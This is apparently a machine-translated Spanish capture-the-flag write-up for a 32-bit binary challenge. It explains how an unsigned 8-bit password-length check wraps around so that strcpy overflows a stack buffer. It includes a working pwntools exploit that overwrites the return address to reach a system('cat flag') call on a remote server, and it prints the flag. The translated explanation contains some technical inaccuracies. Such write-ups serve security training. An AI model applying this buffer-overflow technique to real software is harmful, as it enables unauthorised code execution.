Programa de 32 bits, arrastre a ida para echar un vistazo.
Primero, tenemos que ingresar 1 para ingresar login ()
Ingrese el nombre de usuario y luego ingrese passwd. Tenga en cuenta que la longitud de passwd nos permite ingresar 0x199
y luego hacer clic en check_passwd.
Aquí usamos v3 para guardar la longitud de la contraseña que ingresamos, pero esta v3 es de tipo int8 sin firmar, 8 bytes y solo puede Almacene un número que no exceda los 256. Si excede, el cálculo se reiniciará desde 1. En este caso, para 1 carácter y 257 caracteres, el valor de v3 es el mismo. Podemos usar esto para desbordar
result = strcpy (& dest, s) Copiar sa dest, dest está en ebp-14h, podemos ingresar una contraseña con una longitud entre 259 y 264, de modo que v3 sea mayor que 3 y menor que 8, y se desborde durante strcpy.
Al mismo tiempo, hay system (" cat flag "), la dirección es 0x0804868b, ¿no está bien?
from pwn import *
sh=remote('111.198.29.45',31562)
#填充垃圾字符,返回what is this 地址,最后保持passwd长度在259和264间
payload='a'*0x14+'a'*4+p32(0x0804868b)+(256-0x18-4)*'a'+'bbbb'
sh.sendlineafter("Your choice:","1")
sh.sendlineafter("Please input your username:","james")
sh.sendlineafter("Please input your passwd:",payload)
sh.interactive()
Obtenga la bandera: cyberpeace {8ce8a8dbf55662d1c2ef0b0fa55c8ada}